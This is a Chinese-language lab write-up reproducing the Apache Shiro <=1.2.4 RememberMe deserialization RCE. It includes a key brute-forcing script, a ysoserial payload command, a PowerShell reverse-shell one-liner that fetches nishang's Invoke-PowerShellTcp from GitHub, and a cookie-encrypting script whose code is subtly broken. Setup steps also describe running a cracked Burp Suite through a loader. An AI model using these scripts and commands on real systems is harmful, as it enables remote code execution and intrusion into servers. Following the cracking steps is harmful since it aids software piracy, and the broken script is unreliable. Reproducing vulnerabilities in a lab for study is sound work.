Shiro 是一个功能强大和易于使用的Java安全框架,为开发人员提供一个直观而全面的解决方案的认证,授权,加密,会话管理。然而,在shiro<=1.2.4的版本中,存在严重的反序列化漏洞,这里对其攻击过程做个记录。
环境
攻击机和靶机均为不出网的内网Windows主机
攻击机:
- Windows 10
- Burpsuit
- ysoserial
- jdk 1.8
- maven
- Python 3
靶机:
- Windows 10
- Tomcat 8.5.71
- jdk 1.8
背景&原理
相关概念
- 序列化:把Java对象转换为字节序列的过程,可以有效的实现多平台之间的通信、对象持久化存储。
- 反序列化:把字节序列恢复为Java对象的过程。
- 反序列化漏洞:当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。
漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码-->AES解密-->反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
这里我们可以通过eclipse
或jd-gui对shiro的源码jar
包(在后文环境搭建处有下载链接,解压之后的WEB-INF
->lib
->shiro-core-1.2.4.jar
)进行查看(依次点开org.apache.shiro
->mgt
->AbstractRememberMeManager.class
),不难看出这里密钥固定为kPH+bIxk5D2deZiIxcaaaA==
:
环境搭建
因为实验机均为不出网的内网主机,因此,本文摒弃了docker
的安装方式,采用手动搭建来构建实验所需环境。所有的下载和打包操作均在外网主机完成后拷贝至内网。
jdk安装
需要在攻击机和靶机上均安装jdk
- 在网站下载jdk,并双击安装:
下载jdk
-
安装完成之后
win+e
打开文件夹,在此电脑
处右键单击,选择属性
:
属性 -
依次点击
高级系统设置
->环境变量
->新建
:
环境变量 -
新建环境变量
JAVA_HOME
,值为你的jdk安装路径,我这里为C:\Program Files\Java\jdk1.8.0_301
:
新建环境变量 -
在系统变量中找到
Path
变量,选中,点击编辑:
编辑Path变量 在弹出的对话框中右上角点击
新建
,粘贴jdk的安装路径,然后点击依次点击确定,直到所有对话框关闭即可-
win+r
之后输入cmd回车打开命令行窗口,输入命令
java -version`查看是否安装成功:
安装成功
shiro安装
在靶机上安装shiro:
这里是直接下载shiro的war包,提取码:lorz
-
在官网下载Tomcat:
Tomcat下载 下载完成后解压至你想要安装的文件夹即可
-
将下载好的
shiro
的war
包解压至Tomcat
内的webapps
目录,并重命名为shiro
:
解压并重命名 -
进入
Tomcat
的bin
目录,在此创建cmd窗口:
bin目录 -
输入命令
startup.bat
启动Tomcat(双击也可以启动,但看不到报错信息,推荐用这种方式启动)(注意,8080端口不能被占用,否则启动失败):
启动Tomcat -
然后就能看到另一个名为
Tomcat
的窗口启动:
Tomcat启动成功 -
在浏览器输入
127.0.0.1:8080/shiro/
查看是否能够显示界面,看到如下界面表示shiro部署成功:
shiro成功部署
maven安装
在攻击机上安装maven:
-
去官网下载maven:
下载maven 下载完成后解压至你想要安装的目录
安装上面jdk的配置步骤,新建环境变量
MAVEN_HOME
,值为安装路径编辑
Path
变量,新增条目:maven安装路径/bin/
-
打开cmd窗口,输入
mvn -v
验证是否安装成功:
安装成功
ysoserial安装
-
在官网下载
ysoserial
:
下载 -
解压,然后在源码根目录下打开cmd窗口,运行命令
mvn package -DskipTests
打包源码为jar
包:
打包 -
打包完成之后会在当前生成一个
target
文件夹,文件夹内就有我们需要的jar
包:
打包完成
burpsuit安装:
- 下载burp loader,提取码:orzH
- 解压,双击
BurpSuiteLoader.jar
:
双击 - 点击右侧
run
:
run
然后在弹出来的对话框内点击next
,然后分别将request
和response
复制粘贴进loader
里:
破解 - 以后每次加载
burp
都需要先打开loader
,再点击run
运行
至此,所有环境搭建完毕
攻击实施
密钥判断
因为shiro 1.2.4及其以前的版本是直接将密钥硬编码写进代码里,才导致了该漏洞,因此要实施攻击,首先需要判断密钥。
这里直接使用脚本进行判断(需要有Python3环境):
D:\Users\User\Desktop>python key_exp.py
正确key:kPH+bIxk5D2deZiIxcaaaA==
脚本key_exp.py
内容为:
import base64
import uuid
import requests
from Crypto.Cipher import AES
def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)
def encode_rememberme(target):
keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)
encode_rememberme("http://靶机IP:8080/shiro/")
注意使用之前需要配置靶机ip
该脚本的核心思想是使用shiro的常用密钥按照其编码加密方式对靶机进行爆破,当靶机返回的响应头的Set-Cookie
字段含有rememberMe=deleteMe;
的cookie时,即密钥正确
利用链判断
shiro有多个利用链,可能是:"CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Spring1","Spring2","Jdk7u21","ROME","Clojure"
等,因此,需要判断哪条利用链可用,这里使用大佬编写的脚本判断(当然也可以每个利用链都试试啦)
这里可以直接删掉代码里其他密钥,只留我们上文判断出来的密钥即可,可节省时间,提高效率
运行命令:
python shiro-1.2.4-rce.py http://靶机ip:8080/shiro/
最终判断目标shiro的利用链为CommonsCollections2
payload生成
在上文打包的ysoserial-0.0.6-SNAPSHOT-all.jar
目录处运行命令:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc.exe" > test.ser
其中的利用链填写刚刚判断出的利用链名称,利用链后填写想要执行的命令,这里执行的命令为打开电脑计算器,也可以将命令换成"powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 监听地址ip -port 9999"
直接反弹powershell
会在当前目录生成test.ser
文件,然后在当前目录新建脚本文件shiro.py
,内容为:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme():
with open("test.ser", "r") as f:
popen = f.read()
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme()
print "rememberMe={0}".format(payload.decode())
在当前目录运行cmd命令:
python shiro.py
即可看到生成的payload:
选中输出的所有字符,按住ctrl+shif+c
复制
打开burp,在burp的浏览器里输入http://靶机ip:8080/shiro/
进行访问,点击登录,随意使用页面提供的任意账号密码,点击remember me
登录:
使用burp进行抓包,将抓到的数据发送到repeater。在repeater中,在请求头中的cookie
字段中粘贴刚刚复制的payload,点击send
:
(此处应有图)
然后就可以看到靶机弹出了计算器,RCE成功:
参考链接
- Apache Shiro环境搭建及反序列化漏洞复现
- Shiro 反序列化漏洞利用工具编写思路
- Shiro 550漏洞复现
- Apache Shiro 反序列化